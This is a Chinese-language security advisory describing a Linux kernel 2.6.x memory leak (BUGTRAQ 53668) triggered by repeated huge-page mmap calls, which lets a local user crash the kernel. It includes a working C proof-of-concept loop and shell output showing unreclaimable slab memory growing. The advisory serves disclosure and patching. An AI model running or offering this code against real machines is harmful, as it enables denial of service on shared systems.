发布日期:2012-05-23
更新日期:2012-05-24
受影响系统:
Linux kernel 2.6.x
描述:
--------------------------------------------------------------------------------
BUGTRAQ ID: 53668
Linux Kernel是Linux操作系统的内核。
Linux Kernel 2.6.32和3.4-rc6在调用mmap映射巨页时存在内存泄露错误导致的本地拒绝服务漏洞,通过运行下列代码,32字节的kmalloc缓存会增长10 mio条目,未授权的本地攻击者可利用此漏洞触发内核崩溃。
<*来源:Christoph Lameter
链接:
https://lkml.org/lkml/2012/5/21/385
*>
测试方法:
--------------------------------------------------------------------------------
警 告
以下程序(方法)可能带有攻击性,仅供安全研究与教学之用。使用者风险自负!
执行如下操作可能导致异常:
--------
#include <sys/mman.h>
#include <stdlib.h>
#ifndef MAP_HUGETLB
#define MAP_HUGETLB 0x0040000
#endif
int main() {
for (int i=0; i!=10000000; ++i) {
void* ptr=mmap(NULL, 2*1024*1024, PROT_READ|PROT_WRITE, MAP_PRIVATE|MAP_ANONYMOUS|MAP_HUGETLB, 0, 0);
if (ptr!=MAP_FAILED) abort();
}
return 0;
}
-------
g++ -O2 test.cpp && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim: 1900756 kB
HugePages_Total: 0
$ ./a.out && echo good
good
$ egrep 'SUnreclaim|HugePages_Total' /proc/meminfo
SUnreclaim: 2213268 kB
HugePages_Total: 0
建议:
--------------------------------------------------------------------------------
厂商补丁:
Linux
-----
目前厂商已经发布了升级补丁以修复这个安全问题,请到厂商的主页下载: